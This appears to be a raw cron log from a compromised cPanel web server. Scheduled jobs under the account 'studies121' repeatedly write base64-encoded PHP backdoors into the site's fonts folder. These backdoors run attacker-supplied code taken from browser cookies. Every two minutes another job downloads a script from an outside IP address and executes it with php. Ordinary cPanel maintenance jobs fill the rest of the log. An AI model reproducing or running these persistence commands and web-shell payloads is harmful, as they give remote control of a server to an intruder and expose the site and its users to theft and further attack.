Sep  3 08:35:01 ip-184-168-122-23 CROND[4233]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:35:01 ip-184-168-122-23 CROND[4238]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 08:35:01 ip-184-168-122-23 CROND[4239]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:35:01 ip-184-168-122-23 CROND[4236]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 08:35:01 ip-184-168-122-23 CROND[4237]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  3 08:35:01 ip-184-168-122-23 CROND[4241]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 08:35:01 ip-184-168-122-23 CROND[4242]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 08:36:01 ip-184-168-122-23 CROND[4352]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 08:36:01 ip-184-168-122-23 CROND[4354]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:36:01 ip-184-168-122-23 CROND[4355]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 08:36:01 ip-184-168-122-23 CROND[4356]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 08:36:01 ip-184-168-122-23 CROND[4357]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:37:01 ip-184-168-122-23 CROND[4481]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 08:37:01 ip-184-168-122-23 CROND[4485]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:37:01 ip-184-168-122-23 CROND[4483]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 08:37:01 ip-184-168-122-23 CROND[4482]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:38:01 ip-184-168-122-23 CROND[4603]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 08:38:01 ip-184-168-122-23 CROND[4604]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:38:01 ip-184-168-122-23 CROND[4605]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:38:01 ip-184-168-122-23 CROND[4607]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 08:38:01 ip-184-168-122-23 CROND[4606]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 08:39:01 ip-184-168-122-23 CROND[4748]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 08:39:01 ip-184-168-122-23 CROND[4749]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:39:01 ip-184-168-122-23 CROND[4751]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:39:01 ip-184-168-122-23 CROND[4754]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 08:39:01 ip-184-168-122-23 CROND[4752]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  3 08:40:01 ip-184-168-122-23 CROND[4970]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 08:40:01 ip-184-168-122-23 CROND[4971]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:40:01 ip-184-168-122-23 CROND[4978]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 08:40:01 ip-184-168-122-23 CROND[4977]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:40:01 ip-184-168-122-23 CROND[4979]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 08:40:01 ip-184-168-122-23 CROND[4975]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 08:40:01 ip-184-168-122-23 CROND[4980]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 08:40:01 ip-184-168-122-23 CROND[4976]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 08:41:01 ip-184-168-122-23 CROND[5103]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:41:01 ip-184-168-122-23 CROND[5106]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 08:41:01 ip-184-168-122-23 CROND[5107]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 08:41:01 ip-184-168-122-23 CROND[5108]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:42:01 ip-184-168-122-23 CROND[5250]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:42:01 ip-184-168-122-23 CROND[5251]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 08:42:01 ip-184-168-122-23 CROND[5252]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 08:42:01 ip-184-168-122-23 CROND[5254]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:42:01 ip-184-168-122-23 CROND[5258]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 08:43:01 ip-184-168-122-23 CROND[5354]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:43:01 ip-184-168-122-23 CROND[5353]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:43:01 ip-184-168-122-23 CROND[5355]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 08:43:01 ip-184-168-122-23 CROND[5358]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 08:44:01 ip-184-168-122-23 CROND[5501]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:44:01 ip-184-168-122-23 CROND[5502]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 08:44:01 ip-184-168-122-23 CROND[5507]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:44:01 ip-184-168-122-23 CROND[5504]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 08:44:01 ip-184-168-122-23 CROND[5508]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 08:45:02 ip-184-168-122-23 CROND[5636]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Sep  3 08:45:02 ip-184-168-122-23 CROND[5639]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 08:45:02 ip-184-168-122-23 CROND[5641]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 08:45:02 ip-184-168-122-23 CROND[5643]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 08:45:02 ip-184-168-122-23 CROND[5640]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:45:02 ip-184-168-122-23 CROND[5642]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:45:02 ip-184-168-122-23 CROND[5644]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 08:46:01 ip-184-168-122-23 CROND[5843]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 08:46:01 ip-184-168-122-23 CROND[5845]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 08:46:01 ip-184-168-122-23 CROND[5846]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 08:46:01 ip-184-168-122-23 CROND[5847]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:46:01 ip-184-168-122-23 CROND[5849]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 08:46:01 ip-184-168-122-23 CROND[5848]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  3 08:46:01 ip-184-168-122-23 CROND[5850]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:47:01 ip-184-168-122-23 CROND[5983]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
